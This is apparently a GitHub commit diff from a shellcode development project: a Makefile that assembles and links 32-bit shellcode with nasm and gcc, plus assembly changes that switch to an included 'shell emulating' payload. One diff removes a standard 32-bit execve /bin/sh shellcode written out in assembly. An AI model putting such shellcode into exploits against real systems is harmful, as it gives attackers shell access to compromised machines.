File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -7,13 +7,12 @@ INCLUDE = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
77shellcode = shell32.s
88NFLAGS = -f elf -D ELF
99CFLAGS = -m32
10- SHELL_TYPE = -D EMULATOR
1110
1211
1312all : assemble link
1413assemble :
15- nasm $(NFLAGS ) $(shellcode ) $(INCLUDE ) $( SHELL_TYPE ) -o linkme.o
16- nasm $(shellcode ) $(INCLUDE ) $( SHELL_TYPE ) -o shellcode
14+ nasm $(NFLAGS ) $(shellcode ) $(INCLUDE ) -o linkme.o
15+ nasm $(shellcode ) $(INCLUDE ) -o shellcode
1716link :
1817 gcc linkme.o -o testShellcode $(CFLAGS )
1918
Original file line number Diff line number Diff line change @@ -55,7 +55,7 @@ mydup2:
5555
5656
5757 ;; local shellcode
58-
58+ %define EMULATOR
5959%ifdef EMULATOR
6060 ;; shell emulating shellcode
6161 incbin "../32shellEmulator/shellcode"
Original file line number Diff line number Diff line change @@ -51,18 +51,13 @@ copy:
5151 jns copy
5252
5353 ;; Any local shellcode here
54- ;; 32bit execve /bin/sh below
55- ;; it's usually what you want
56- xor eax , eax
57- push eax
58- push 0x68732f2f
59- push 0x6e69622f
60- mov al , execve
61- mov ebx , esp
62- xor ecx , ecx
63- mov edx , ecx
64- int 0x80
65-
66-
6754
68-
55+ %define EMULATOR
56+ %ifdef EMULATOR
57+ ;; shell emulating shellcode
58+ incbin "../32shellEmulator/shellcode"
59+ %else
60+ ;; ordinary shellcode (/bin/sh)
61+ incbin "../32shellEmulator/shellcode"
62+ %endif
63+
You can’t perform that action at this time.
0 commit comments